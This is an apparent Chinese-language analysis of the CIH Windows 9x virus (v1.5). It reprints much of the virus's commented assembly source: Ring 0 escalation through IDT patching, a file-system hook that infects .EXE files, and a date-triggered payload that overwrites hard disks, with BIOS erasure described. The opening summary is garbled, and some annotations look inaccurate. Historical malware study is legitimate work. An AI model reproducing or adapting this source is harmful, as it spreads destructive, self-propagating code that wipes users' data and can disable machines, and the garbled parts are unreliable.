CIH 病毒(Chen Ing Hau)是 1998 年震驚全球的 Windows 9x 病毒,其 v1.5 版本(1998-06-01)原始碼由作者發表於地下技術圈。代碼採用 TASM 5.0 Ideal Mode,展示了極其精湛的組合語言技藝:利用 IDT 修改觸發異常獲取 Ring 0 特權、Hook IFSMgr_InstallFileSystemApiHook 實現全系統 PE 檔案即時感染、巧妙利用 PE 區段間隙「空洞感染」不增加檔案大小、以及毀滅性的 BIOS 刷新與硬碟低階格式化載荷。本文對核心模組進行結構化解析。
INT 04h/06h 進入 Ring 0。_PageAllocate)、合併病毒代碼段、Hook IFSMgr_InstallFileSystemApiHook 攔截檔案開啟操作、修改該 API 入口點確保持久化。IFSMgr_Ring0_FileIO,針對開啟現有 .EXE 檔案實施感染邏輯。AddressOfEntryPoint、保留原始入口點、恢復檔案時間戳。IOS_SendCommand 發送 ATA 安全擦除指令)。MyVirusStart: push ebp lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] ; 安裝 SEH 處理器 -> StopToRunVirusCode call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx; push eax push eax sidt [esp-02h] ; 取得 IDT 基址 pop ebx add ebx, HookExceptionNumber*08h+04h ; 目標 IDT 描述符 (INT 04h/06h) cli mov ebp, [ebx] ; 保存原處理器基址 mov bp, [ebx-04h] ; 保存原處理器偏移 lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; 修改偏移 shr esi, 16 mov [ebx+02h], si ; 修改基址高位 pop esi int HookExceptionNumber ; 觸發異常 -> 進入 Ring 0 MyExceptionHook ReturnAddressOfEndException = $
MyExceptionHook: jz InstallMyFileSystemApiHook mov ecx, dr0; jecxz AllocateSystemMemoryPage ; DR0 為感染標記 add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ExitRing0Init: mov [ebx-04h], bp; shr ebp,16; mov [ebx+02h],bp; iretd ; 恢復 IDT 返回 AllocateSystemMemoryPage: mov dr0, ebx push 0Fh; push ecx; push 0FFFFFFFFh; push ecx; push ecx; push ecx push 1; push 2; int 20h; dd 00010053h ; VMMCall _PageAllocate add esp, 08h*4; xchg edi, eax ; EDI = 系統記憶體基址 lea eax, MyVirusStart-@2[esi]; iretd ; 返回 Ring 3 繼續合併代碼段
InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi]; push eax int 20h; dd 00400067h ; VxDCall IFSMgr_InstallFileSystemApiHook mov dr0, eax ; 保存舊 Hook 位址 pop eax mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx]; mov OldInstallFileSystemApiHook-@3[eax], edx ; 保存原 API 入口 lea eax, InstallFileSystemApiHook-@3[eax]; mov [ecx], eax ; 修改 API 入口指向自定義安裝器 cli; jmp ExitRing0Init
InstallFileSystemApiHook: push ebx; call @4; @4: pop ebx add ebx, FileSystemApiHook-@4; push ebx int 20h; dd 00400068h ; VxDCall IFSMgr_RemoveFileSystemApiHook (移除舊) pop eax push dword ptr [esp+8]; call OldInstallFileSystemApiHook-@3[ebx]; pop ecx; push eax ; 先掛載客戶 Hook push ebx; call OldInstallFileSystemApiHook-@3[ebx]; pop ecx ; 再掛載自己 Hook mov dr0, eax; pop eax; pop ebx; ret
FileSystemApiHook: pushad; call @5; @5: pop esi; add esi, VirusGameDataStartAddress-@5 test byte ptr (OnBusy-@6)[esi], 1; jnz pIFSFunc ; 重入保護 lea ebx, [esp+20h+4+4] cmp dword ptr [ebx], 00000024h; jne prevhook ; 非 IRP_MJ_CREATE (0x24) 跳過 inc byte ptr (OnBusy-@6)[esi] ; 設忙碌標記 add esi, FileNameBuffer-@6; push esi mov al, [ebx+4]; cmp al, 0FFh; je CallUniToBCSPath add al, 40h; mov ah, ':'; mov [esi], eax; inc esi; inc esi ; 磁碟機代號 CallUniToBCSPath: push 0; push FileNameBufferSize mov ebx, [ebx+10h]; mov eax, [ebx+0Ch]; add eax, 4 push eax; push esi int 20h; dd 00400041h ; VxDCall UniToBCSPath (Unicode->ANSI 路徑) add esp, 10h; cmp [esi+eax-4], 'EXE.'; pop esi; jne DisableOnBusy ; 非 .EXE IF DEBUG cmp [esi+eax-6], 'KCUF'; jne DisableOnBusy ; 僅感染 FUCK*.EXE (除錯用) ENDIF cmp word ptr [ebx+18h], 1; jne DisableOnBusy ; 僅開啟現有檔案 mov ax, 4300h; int 20h; dd 00400032h; jc DisableOnBusy ; 取屬性 push ecx mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]; mov edi, [edi] ; 取 Ring0 FileIO 位址 test cl, 1; jz OpenFile mov ax, 4301h; xor ecx, ecx; call edi ; 移除 Read-Only OpenFile: xor eax, eax; mov ah, 0D5h; xor ecx, ecx; xor edx, edx; inc edx; mov ebx, edx; inc ebx; call edi ; 開啟檔案 xchg ebx, eax ; EBX = Handle pop ecx; pushf; test cl, 1; jz IsOpenFileOK mov ax, 4301h; call edi ; 恢復屬性 IsOpenFileOK: popf; jc DisableOnBusy push esi; pushf ; 保存路徑、Flags (CF=0) add esi, DataBuffer-@7 ; ---- 讀 PE 結構、判斷感染標記、計算間隙、寫入病毒代碼 ---- ; (極度緊湊的代碼,大量使用寄存器傳參、棧傳參、自我修正 VxDCall 指令) ... DisableOnBusy: dec byte ptr (OnBusy-@7)[esi] prevhook: popad; mov eax, dr0; jmp [eax] ; 跳轉原 Hook pIFSFunc: ... ; 非建立檔案操作直接轉發
IsKillComputer: mov al, 07h; out 70h, al; in al, 71h; xor al, 01h ; 讀 CMOS 日期 (日=26?) IF DEBUG; jmp DisableOnBusy; ELSE; jnz DisableOnBusy; ENDIF KillHardDisk: xor ebx, ebx; mov bh, FirstKillHardDiskNumber (81h/82h) push ebx; sub esp, 2Ch; push 0C0001000h; mov bh, 08h; push ebx push ecx; push ecx; push ecx; push 40000501h; inc ecx; push ecx; push ecx mov esi, esp; sub esp, 0Ah LoopOfKillHardDisk: int 20h; dd 00100004h ; VxDCall IOS_SendCommand (發送 ATA 指令) cmp word ptr [esi+6], 0017h; je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4Dh]; jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx; mov byte ptr [esi+4Dh], FirstKillHardDiskNumber; jmp LoopOfKillHardDisk ; BIOS EEPROM 破壞 (透過 PCI 配置空間 0xCF8/0xCFC 映射 0xE0000-0xFFFFF 並寫入垃圾) IOForEEPROM: ... ; 解鎖 BIOS 寫保護、寫入 0x60/0x20 命令、擦除 0xE0000-0xE007F / 0xFE000-0xFE07F
| 版本 | 日期 | 關鍵特性 | 大小 |
|---|---|---|---|
| v1.0 | 1998-04-26 | IDT 提權、Hook IFSMgr、空洞感染、保留時間戳、不重載 | 656 Bytes |
| v1.1 | 1998-05-15 | SEH 防 NT 崩潰、更優演算法、不增大檔案 | 796 Bytes |
| v1.2 | 1998-05-21 | 新增 Kill BIOS/HDD、修正 Bug | 1003 Bytes |
| v1.3 | 1998-05-24 | 修正 WinZip 自解壓誤感染 | 1010 Bytes |
| v1.4 | 1998-05-31 | 徹底修正 WinZip、修改觸發日期、版權聲明 | 1019 Bytes |
| v1.5 | 1998-06-01 | 修正硬碟殺毀端口、清理垃圾代碼 | ~10xx Bytes |
CIH v1.5 是組合語言病毒編寫技藝的巔峰之作:極致精簡(< 1.5KB 實現 Ring 0 提權、VxD Hook、PE 解析、空洞感染、雙重載荷),極具破壞力(物理層面破壞 BIOS 與硬碟,導致主機板報廢)。它深刻揭示了早期 Windows 9x 核心防護的缺失(無驅動程式簽章、Ring 0 隨意進入、VxD 介面暴露)。現代作業系統透過驅動簽章強制、PatchGuard、Secure Boot、虛擬化安全(VBS/HVCI)等機制,已從根本上杜絕此類攻擊路徑。研究此代碼僅供學術安全研究與歷史鑑戒,**嚴禁用於任何惡意用途**。